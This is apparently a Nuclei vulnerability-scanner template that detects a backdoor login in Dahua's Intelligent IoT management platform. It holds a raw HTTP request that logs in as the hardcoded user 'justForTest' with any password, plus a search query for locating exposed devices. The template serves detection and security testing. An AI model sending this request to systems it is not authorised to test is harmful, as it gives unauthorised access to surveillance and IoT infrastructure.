id: dahua-icc-backdoor-user

info:
  name: Dahua Intelligent IoT - Information Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    There is a vulnerability in the user login interface /evo-apigw/evo-oauth/oauth/token of Zhejiang Dahua Technology Co., Ltd. Intelligent IoT Integrated Management Platform. Users can successfully log in to the platform using justForTest/any password, causing information leakage.
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="-1935899595"body="*客户端会小于800*"
  tags: dahua,exposure,backdoor,bypass

http:
  - raw:
      - |
        POST /evo-apigw/evo-oauth/oauth/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=justForTest&password=1&grant_type=password&client_id=web_client&client_secret=web_client&public_key=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":'
          - '"access_token":'
          - '"token_type":'
          - 'magicId'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'
# digest: 4a0a00473045022100ce8d25c693dbb363dd2c706692edcc769af1561138ad4fbe217620c8c700d95e0220453ee913be2762a21fa103d2804f0488e9a8a0f200c924e83d342410be6807e8:922c64590222798bb761d5b6d8e72950